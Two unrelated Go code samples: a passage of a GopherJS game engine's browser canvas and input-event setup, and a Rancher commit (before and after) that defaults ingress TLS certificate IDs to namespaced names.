	canvas = doc.Call("createElement", "canvas")
	canvas.Set("width", 16)
	canvas.Set("height", 16)
	doc.Get("body").Call("appendChild", canvas)

	htmlStyle := doc.Get("documentElement").Get("style")
	htmlStyle.Set("height", "100%")
	htmlStyle.Set("margin", "0")
	htmlStyle.Set("padding", "0")

	bodyStyle := doc.Get("body").Get("style")
	bodyStyle.Set("backgroundColor", "#000")
	bodyStyle.Set("position", "relative")
	bodyStyle.Set("height", "100%")
	bodyStyle.Set("margin", "0")
	bodyStyle.Set("padding", "0")
	// TODO: This is OK as long as the game is in an independent iframe.
	// What if the canvas is embedded in a HTML directly?
	doc.Get("body").Call("addEventListener", "click", func() {
		canvas.Call("focus")
	})

	canvasStyle := canvas.Get("style")
	canvasStyle.Set("position", "absolute")

	// Make the canvas focusable.
	canvas.Call("setAttribute", "tabindex", 1)
	canvas.Get("style").Set("outline", "none")

	// Keyboard
	canvas.Call("addEventListener", "keydown", func(e *js.Object) {
		e.Call("preventDefault")
		code := e.Get("keyCode").Int()
		currentInput.keyDown(code)
	})
	canvas.Call("addEventListener", "keyup", func(e *js.Object) {
		e.Call("preventDefault")
		code := e.Get("keyCode").Int()
		currentInput.keyUp(code)
	})

	// Mouse
	canvas.Call("addEventListener", "mousedown", func(e *js.Object) {
		e.Call("preventDefault")
		button := e.Get("button").Int()
		currentInput.mouseDown(button)
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "mouseup", func(e *js.Object) {
		e.Call("preventDefault")
		button := e.Get("button").Int()
		currentInput.mouseUp(button)
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "mousemove", func(e *js.Object) {
		e.Call("preventDefault")
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "contextmenu", func(e *js.Object) {
		e.Call("preventDefault")
	})

	// Touch
	canvas.Call("addEventListener", "touchstart", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})
	canvas.Call("addEventListener", "touchend", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})
	canvas.Call("addEventListener", "touchmove", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})

	// Gamepad
	window.Call("addEventListener", "gamepadconnected", func(e *js.Object) {
		// Do nothing.
	})

	canvas.Call("addEventListener", "webglcontextlost", func(e *js.Object) {
		e.Call("preventDefault")
	})
	canvas.Call("addEventListener", "webglcontextrestored", func(e *js.Object) {
		// Do nothing.
	})

	return nil
}

func setMouseCursorFromEvent(e *js.Object) {
	scale := currentUI.scale
	rect := canvas.Call("getBoundingClientRect")
	x, y := e.Get("clientX").Int(), e.Get("clientY").Int()
	x -= rect.Get("left").Int()
	y -= rect.Get("top").Int()
	currentInput.setMouseCursor(int(float64(x)/scale), int(float64(y)/scale))
}

func devicePixelRatio() float64 {
	ratio := js.Global.Get("window").Get("devicePixelRatio").Float()
	if ratio == 0 {
		ratio = 1
	}
	return ratio
}

func RunMainThreadLoop(ch <-chan error) error {
	return <-ch
}

func Run(width, height int, scale float64, title string, g GraphicsContext) error {
	u := currentUI
	doc := js.Global.Get("document")
	doc.Set("title", title)
	u.setScreenSize(width, height, scale)
	canvas.Call("focus")
	var err error
	glContext, err = opengl.NewContext()
	if err != nil {
		return err
	}
	return u.loop(g)
}

func (u *userInterface) size() (width, height int) {
	a := u.actualScreenScale()
	if a == 0 {
		// a == 0 only on the initial state.
		return
	}
	width = int(canvas.Get("width").Float() / a)
	height = int(canvas.Get("height").Float() / a)
	return
}

func isSafari() bool {
	ua := js.Global.Get("navigator").Get("userAgent").String()
	if !strings.Contains(ua, "Safari") {
		return false
	}
	if strings.Contains(ua, "Chrome") {
		return false
	}
	return true
}

func (u *userInterface) setScreenSize(width, height int, scale float64) bool {
	w, h := u.size()
	s := u.scale
	if w == width && h == height && s == scale {
		return false
	}
	u.scale = scale
	// CSS imageRendering seems useful to enlarge the screen,
	// but doesn't work in some cases (#306):
	// * Chrome just after restoring the lost context
	// * Safari
	// Let's use the pixel ratio as it is here.
	u.deviceScale = devicePixelRatio()
	canvas.Set("width", int(float64(width)*u.actualScreenScale()))
	canvas.Set("height", int(float64(height)*u.actualScreenScale()))
	canvasStyle := canvas.Get("style")

	cssWidth := int(float64(width) * scale)
	cssHeight := int(float64(height) * scale)
	canvasStyle.Set("width", strconv.Itoa(cssWidth)+"px")
	canvasStyle.Set("height", strconv.Itoa(cssHeight)+"px")
	// CSS calc requires space chars.
	canvasStyle.Set("left", "calc((100% - "+strconv.Itoa(cssWidth)+"px) / 2)")
	canvasStyle.Set("top", "calc((100% - "+strconv.Itoa(cssHeight)+"px) / 2)")
	u.sizeChanged = true
	return true
}
<|endoftext|>


<commit_before>package ingress

import (
	"crypto/md5"
	"encoding/base64"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"sort"
	"strings"

	"github.com/rancher/norman/store/transform"
	"github.com/rancher/norman/types"
	"github.com/rancher/norman/types/convert"
	"github.com/rancher/norman/types/values"
	"github.com/rancher/rancher/pkg/api/store/workload"
	"github.com/rancher/rancher/pkg/controllers/user/ingress"
	"github.com/rancher/rancher/pkg/ref"
	"github.com/sirupsen/logrus"
)

const (
	ingressStateAnnotation = "field.cattle.io/ingressState"
)

func Wrap(store types.Store) types.Store {
	modify := &Store{
		store,
	}
	return New(modify)
}

type Store struct {
	types.Store
}

func (p *Store) Create(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}) (map[string]interface{}, error) {
	name, _ := data["name"].(string)
	namespace, _ := data["namespaceId"].(string)
	id := ref.FromStrings(namespace, name)
	formatData(id, data, false)
	data, err := p.Store.Create(apiContext, schema, data)
	return data, err
}

func (p *Store) Update(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}, id string) (map[string]interface{}, error) {
	formatData(id, data, false)
	data, err := p.Store.Update(apiContext, schema, data, id)
	return data, err
}

func formatData(id string, data map[string]interface{}, forFrontend bool) {
	oldState := getState(data)
	newState := map[string]string{}

	// transform default backend
	if target, ok := values.GetValue(data, "defaultBackend"); ok && target != nil {
		updateRule(convert.ToMapInterface(target), id, "", "/", forFrontend, data, oldState, newState)
	}

	// transform rules
	if paths, ok, flag := getPaths(data); ok {
		for hostpath, target := range paths {
			updateRule(target, id, hostpath.host, hostpath.path, forFrontend, data, oldState, newState)
		}
		if flag {
			updateDataRules(data)
		}
	}

	updateCerts(data, forFrontend, oldState, newState)
	setState(data, newState)
	workload.SetPublicEnpointsFields(data)
}

func updateDataRules(data map[string]interface{}) {
	v, ok := values.GetValue(data, "rules")
	if !ok {
		return
	}
	var updated []interface{}
	rules := convert.ToInterfaceSlice(v)
	for _, rule := range rules {
		converted := convert.ToMapInterface(rule)
		paths, ok := converted["paths"]
		if ok {
			pathMap := convert.ToMapInterface(paths)
			for path, target := range pathMap {
				targetMap := convert.ToMapInterface(target)
				serviceID := convert.ToString(values.GetValueN(targetMap, "serviceId"))
				if serviceID == "" {
					delete(pathMap, path)
				}
			}
			if len(pathMap) != 0 {
				updated = append(updated, rule)
			}
		}
	}
	values.PutValue(data, updated, "rules")
}

func updateRule(target map[string]interface{}, id, host, path string, forFrontend bool, data map[string]interface{}, oldState map[string]string, newState map[string]string) {
	targetData := convert.ToMapInterface(target)
	port, _ := targetData["targetPort"]
	serviceID, _ := targetData["serviceId"].(string)
	namespace, name := ref.Parse(id)
	stateKey := ingress.GetStateKey(name, namespace, host, path, convert.ToString(port))
	if forFrontend {
		isService := true
		if serviceValue, ok := oldState[stateKey]; ok && !convert.IsAPIObjectEmpty(serviceValue) {
			targetData["workloadIds"] = strings.Split(serviceValue, "/")
			isService = false
		}

		if isService {
			targetData["serviceId"] = fmt.Sprintf("%s:%s", data["namespaceId"].(string), serviceID)
		} else {
			delete(targetData, "serviceId")
		}
	} else {
		workloadIDs := convert.ToStringSlice(targetData["workloadIds"])
		sort.Strings(workloadIDs)
		if serviceID != "" {
			splitted := strings.Split(serviceID, ":")
			if len(splitted) > 1 {
				serviceID = splitted[1]
			}
		} else {
			serviceID = getServiceID(stateKey)
		}
		newState[stateKey] = strings.Join(workloadIDs, "/")
		targetData["serviceId"] = serviceID
		values.RemoveValue(targetData, "workloadIds")
	}
}

func getServiceID(stateKey string) string {
	bytes, err := base64.URLEncoding.DecodeString(stateKey)
	if err != nil {
		return ""
	}

	sum := md5.Sum(bytes)
	hex := "ingress-" + hex.EncodeToString(sum[:])

	return hex
}

func getCertKey(key string) string {
	return base64.URLEncoding.EncodeToString([]byte(key))
}

type hostPath struct {
	host string
	path string
}

func getPaths(data map[string]interface{}) (map[hostPath]map[string]interface{}, bool, bool) {
	v, ok := values.GetValue(data, "rules")
	if !ok {
		return nil, false, false
	}
	flag := false
	result := make(map[hostPath]map[string]interface{})
	for _, rule := range convert.ToMapSlice(v) {
		converted := convert.ToMapInterface(rule)
		paths, ok := converted["paths"]
		if ok {
			for path, target := range convert.ToMapInterface(paths) {
				key := hostPath{host: convert.ToString(converted["host"]), path: path}
				targetMap := convert.ToMapInterface(target)
				if existing, ok := result[key]; ok {
					flag = true
					targetWorkloadIds := convert.ToStringSlice(values.GetValueN(targetMap, "workloadIds"))
					updated := convert.ToStringSlice(values.GetValueN(convert.ToMapInterface(existing), "workloadIds"))
					targetWorkloadIds = append(targetWorkloadIds, updated...)
					values.PutValue(targetMap, targetWorkloadIds, "workloadIds")
				}
				result[key] = targetMap
			}
		}
	}

	return result, true, flag
}

func setState(data map[string]interface{}, stateMap map[string]string) {
	content, err := json.Marshal(stateMap)
	if err != nil {
		logrus.Errorf("failed to save state on ingress: %v", data["id"])
		return
	}

	values.PutValue(data, string(content), "annotations", ingressStateAnnotation)
}

func getState(data map[string]interface{}) map[string]string {
	state := map[string]string{}

	v, ok := values.GetValue(data, "annotations", ingressStateAnnotation)
	if ok {
		json.Unmarshal([]byte(convert.ToString(v)), &state)
	}

	return state
}

func updateCerts(data map[string]interface{}, forFrontend bool, oldState map[string]string, newState map[string]string) {
	if forFrontend {
		if certs, _ := values.GetSlice(data, "tls"); len(certs) > 0 {
			for _, cert := range certs {
				certName := convert.ToString(cert["certificateId"])
				certKey := getCertKey(certName)
				cert["certificateId"] = oldState[certKey]
			}
		}
	} else {
		if certs, _ := values.GetSlice(data, "tls"); len(certs) > 0 {
			for _, cert := range certs {
				certificateID := convert.ToString(cert["certificateId"])
				id := strings.Split(certificateID, ":")
				if len(id) == 2 {
					certName := id[1]
					certKey := getCertKey(certName)
					newState[certKey] = certificateID
					cert["certificateId"] = certName
				}
			}
		}
	}
}

func New(store types.Store) types.Store {
	return &transform.Store{
		Store: store,
		Transformer: func(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}, opt *types.QueryOptions) (map[string]interface{}, error) {
			id, _ := data["id"].(string)
			formatData(id, data, true)
			return data, nil
		},
	}
}
<commit_msg>default certs to namespaced certs if edited from yaml<commit_after>package ingress

import (
	"crypto/md5"
	"encoding/base64"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"sort"
	"strings"

	"github.com/rancher/norman/store/transform"
	"github.com/rancher/norman/types"
	"github.com/rancher/norman/types/convert"
	"github.com/rancher/norman/types/values"
	"github.com/rancher/rancher/pkg/api/store/workload"
	"github.com/rancher/rancher/pkg/controllers/user/ingress"
	"github.com/rancher/rancher/pkg/ref"
	"github.com/sirupsen/logrus"
)

const (
	ingressStateAnnotation = "field.cattle.io/ingressState"
)

func Wrap(store types.Store) types.Store {
	modify := &Store{
		store,
	}
	return New(modify)
}

type Store struct {
	types.Store
}

func (p *Store) Create(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}) (map[string]interface{}, error) {
	name, _ := data["name"].(string)
	namespace, _ := data["namespaceId"].(string)
	id := ref.FromStrings(namespace, name)
	formatData(id, data, false)
	data, err := p.Store.Create(apiContext, schema, data)
	return data, err
}

func (p *Store) Update(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}, id string) (map[string]interface{}, error) {
	formatData(id, data, false)
	data, err := p.Store.Update(apiContext, schema, data, id)
	return data, err
}

func formatData(id string, data map[string]interface{}, forFrontend bool) {
	oldState := getState(data)
	newState := map[string]string{}

	// transform default backend
	if target, ok := values.GetValue(data, "defaultBackend"); ok && target != nil {
		updateRule(convert.ToMapInterface(target), id, "", "/", forFrontend, data, oldState, newState)
	}

	// transform rules
	if paths, ok, flag := getPaths(data); ok {
		for hostpath, target := range paths {
			updateRule(target, id, hostpath.host, hostpath.path, forFrontend, data, oldState, newState)
		}
		if flag {
			updateDataRules(data)
		}
	}

	updateCerts(data, forFrontend, oldState, newState)
	setState(data, newState)
	workload.SetPublicEnpointsFields(data)
}

func updateDataRules(data map[string]interface{}) {
	v, ok := values.GetValue(data, "rules")
	if !ok {
		return
	}
	var updated []interface{}
	rules := convert.ToInterfaceSlice(v)
	for _, rule := range rules {
		converted := convert.ToMapInterface(rule)
		paths, ok := converted["paths"]
		if ok {
			pathMap := convert.ToMapInterface(paths)
			for path, target := range pathMap {
				targetMap := convert.ToMapInterface(target)
				serviceID := convert.ToString(values.GetValueN(targetMap, "serviceId"))
				if serviceID == "" {
					delete(pathMap, path)
				}
			}
			if len(pathMap) != 0 {
				updated = append(updated, rule)
			}
		}
	}
	values.PutValue(data, updated, "rules")
}

func updateRule(target map[string]interface{}, id, host, path string, forFrontend bool, data map[string]interface{}, oldState map[string]string, newState map[string]string) {
	targetData := convert.ToMapInterface(target)
	port, _ := targetData["targetPort"]
	serviceID, _ := targetData["serviceId"].(string)
	namespace, name := ref.Parse(id)
	stateKey := ingress.GetStateKey(name, namespace, host, path, convert.ToString(port))
	if forFrontend {
		isService := true
		if serviceValue, ok := oldState[stateKey]; ok && !convert.IsAPIObjectEmpty(serviceValue) {
			targetData["workloadIds"] = strings.Split(serviceValue, "/")
			isService = false
		}

		if isService {
			targetData["serviceId"] = fmt.Sprintf("%s:%s", data["namespaceId"].(string), serviceID)
		} else {
			delete(targetData, "serviceId")
		}
	} else {
		workloadIDs := convert.ToStringSlice(targetData["workloadIds"])
		sort.Strings(workloadIDs)
		if serviceID != "" {
			splitted := strings.Split(serviceID, ":")
			if len(splitted) > 1 {
				serviceID = splitted[1]
			}
		} else {
			serviceID = getServiceID(stateKey)
		}
		newState[stateKey] = strings.Join(workloadIDs, "/")
		targetData["serviceId"] = serviceID
		values.RemoveValue(targetData, "workloadIds")
	}
}

func getServiceID(stateKey string) string {
	bytes, err := base64.URLEncoding.DecodeString(stateKey)
	if err != nil {
		return ""
	}

	sum := md5.Sum(bytes)
	hex := "ingress-" + hex.EncodeToString(sum[:])

	return hex
}

func getCertKey(key string) string {
	return base64.URLEncoding.EncodeToString([]byte(key))
}

type hostPath struct {
	host string
	path string
}

func getPaths(data map[string]interface{}) (map[hostPath]map[string]interface{}, bool, bool) {
	v, ok := values.GetValue(data, "rules")
	if !ok {
		return nil, false, false
	}
	flag := false
	result := make(map[hostPath]map[string]interface{})
	for _, rule := range convert.ToMapSlice(v) {
		converted := convert.ToMapInterface(rule)
		paths, ok := converted["paths"]
		if ok {
			for path, target := range convert.ToMapInterface(paths) {
				key := hostPath{host: convert.ToString(converted["host"]), path: path}
				targetMap := convert.ToMapInterface(target)
				if existing, ok := result[key]; ok {
					flag = true
					targetWorkloadIds := convert.ToStringSlice(values.GetValueN(targetMap, "workloadIds"))
					updated := convert.ToStringSlice(values.GetValueN(convert.ToMapInterface(existing), "workloadIds"))
					targetWorkloadIds = append(targetWorkloadIds, updated...)
					values.PutValue(targetMap, targetWorkloadIds, "workloadIds")
				}
				result[key] = targetMap
			}
		}
	}

	return result, true, flag
}

func setState(data map[string]interface{}, stateMap map[string]string) {
	content, err := json.Marshal(stateMap)
	if err != nil {
		logrus.Errorf("failed to save state on ingress: %v", data["id"])
		return
	}

	values.PutValue(data, string(content), "annotations", ingressStateAnnotation)
}

func getState(data map[string]interface{}) map[string]string {
	state := map[string]string{}

	v, ok := values.GetValue(data, "annotations", ingressStateAnnotation)
	if ok {
		json.Unmarshal([]byte(convert.ToString(v)), &state)
	}

	return state
}

func updateCerts(data map[string]interface{}, forFrontend bool, oldState map[string]string, newState map[string]string) {
	if forFrontend {
		if certs, _ := values.GetSlice(data, "tls"); len(certs) > 0 {
			for _, cert := range certs {
				certName := convert.ToString(cert["certificateId"])
				certKey := getCertKey(certName)
				id := oldState[certKey]
				if id == "" {
					cert["certificateId"] = fmt.Sprintf("%s:%s", convert.ToString(data["namespaceId"]), certName)
				} else {
					cert["certificateId"] = id
				}
			}
		}
	} else {
		if certs, _ := values.GetSlice(data, "tls"); len(certs) > 0 {
			for _, cert := range certs {
				certificateID := convert.ToString(cert["certificateId"])
				id := strings.Split(certificateID, ":")
				if len(id) == 2 {
					certName := id[1]
					certKey := getCertKey(certName)
					newState[certKey] = certificateID
					cert["certificateId"] = certName
				}
			}
		}
	}
}

func New(store types.Store) types.Store {
	return &transform.Store{
		Store: store,
		Transformer: func(apiContext *types.APIContext, schema *types.Schema, data map[string]interface{}, opt *types.QueryOptions) (map[string]interface{}, error) {
			id, _ := data["id"].(string)
			formatData(id, data, true)
			return data, nil
		},
	}
}
<|endoftext|>